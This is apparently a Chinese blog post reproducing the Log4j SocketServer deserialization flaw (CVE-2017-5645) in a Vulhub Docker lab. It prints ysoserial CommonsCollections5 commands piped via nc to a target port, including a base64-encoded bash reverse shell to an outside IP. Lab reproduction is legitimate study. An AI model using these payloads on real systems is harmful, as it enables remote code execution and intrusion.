【Vulhub】Apache Log4j Server 反序列化命令执行漏洞复现(CVE-2017-5645)

脚本小子上线啦,开始复现以前出现实战环境的漏洞了,我会记录一些复现的漏洞(不会是全部),今天这个漏洞的原理我也不太会就知道是个Java反序列化的洞,只负责复现(脚本小子~)。

漏洞介绍&环境搭建简单介绍

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。(当然是借鉴其它师傅的总结)

ysoserial jar脚本工具下载(执行脚本需要Java环境):

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

环境搭建就不说了,这个Vulhub网站有基础搭建介绍,搭建主要就两步,第一步是把Vulhub源码拖入我们的服务器,当然也可以在VMware虚拟机,我这边用的是服务器,第二步就是创建docker镜像(前提是服务器或者VMwaredocker,没有自行下载)。

进入目标CVE版本的洞,直接创建docker命令两条如下: 

docker-compose build

docker-compose up -d

之后docker ps查看镜像映射的端口就行了(记得服务器的端口要开发哈)。

 

开始复现

复现挺简单的,主要是了解一下这个洞,用脚本感觉学不到啥东西(除非深入其漏洞原理)。利用ysoserialCC链攻击对4712端口直击心脏。一把梭了其实(脚本回自动生成payload,如何我们利用管道将其发送到4712端口),如下:

java -jar ysoserial-master-91b4266b13-1.jar CommonsCollections5 "mkdir /tmp/errorr0" | nc 47.106.108.66 4712

后面是命令执行,我们用mkdir指令在docker容器/tmp中创建一个errorr0的文件夹。然后我们进入docker中看看执行成功了吗?

docker exec -it 容器ID /bin/bash

可以看到,成功了,因此漏洞复现基本上就算成功了。接下来试试反弹shell,注意虽然我下面用的都是我自己的服务器,但是反弹shell的是4712端口,对应的是docker容器。

我用的反弹shell指令与网上师傅们是相同的(base64编码如下),当然自己也试过直接bash,在docker容器中直接测试还可以,就是不晓得用脚本生成的payload为啥不能直接bash

java -jar ysoserial-master-91b4266b13-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuMTA4LjY2LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}" | nc 47.106.108.66 4712

到这里漏洞复现基本完成。

最后针对这个漏洞修复有啥建议?no,没有,我也不太懂原理,主要是了解一下这个漏洞怎么利用哈哈,看了好几篇网章的师傅们都说是建议更新apache的版本(salute!!)。

参考:Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)复现_锋刃科技的博客-CSDN博客

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值